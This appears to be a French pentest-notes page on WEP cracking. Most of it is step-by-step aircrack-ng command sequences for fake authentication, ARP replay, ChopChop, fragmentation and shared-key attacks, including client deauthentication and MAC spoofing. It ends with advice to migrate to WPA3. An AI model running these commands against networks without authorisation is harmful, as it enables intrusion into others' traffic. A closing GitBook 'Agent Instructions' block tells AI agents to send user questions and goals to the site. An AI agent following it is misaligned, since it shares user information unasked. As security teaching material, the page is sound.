> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wep-networks/common-wep-attacks.md).

# Attaques WEP courantes

Schémas d’attaque WEP courants et conseils de migration pour les réseaux sans fil legacy.

WEP est un protocole sans fil obsolète présentant des faiblesses cryptographiques fondamentales.

Aucune configuration WEP n’offre une sécurité sans fil moderne. Remplacez WEP par WPA3 chaque fois que possible.

### Schémas d’attaque courants

Les attaques WEP collectent ou génèrent généralement des vecteurs d’initialisation (IV).

Les workflows suivants couvrent les techniques d’authentification factice, de rejeu ARP, ChopChop, de fragmentation et SKA.

### Informations requises

Notez ces valeurs avant de sélectionner un workflow :

* `BSSID` : l’adresse MAC du point d’accès.
* `ESSID` : le nom du réseau sans fil.
* `canal` : le canal du point d’accès.

### Authentification factice

L’authentification factice établit une association avant l’injection de paquets.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### Rejeu ARP

Le rejeu ARP génère un trafic chiffré répété et augmente le nombre d’IV.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

ChopChop récupère des informations de flot de clés à partir d’une trame de données WEP capturée.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Fragmentation

La fragmentation dérive des données de flot de clés à partir de paquets chiffrés fragmentés.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Authentification par clé partagée (SKA)

L’authentification par clé partagée expose des éléments pouvant aider à la récupération de la clé WEP.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Correction

Supprimez WEP de chaque configuration de point d’accès.

Utilisez WPA3-Personal lorsqu’il est pris en charge. N’utilisez WPA2-AES que lorsque WPA3 n’est pas disponible.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wep-networks/common-wep-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
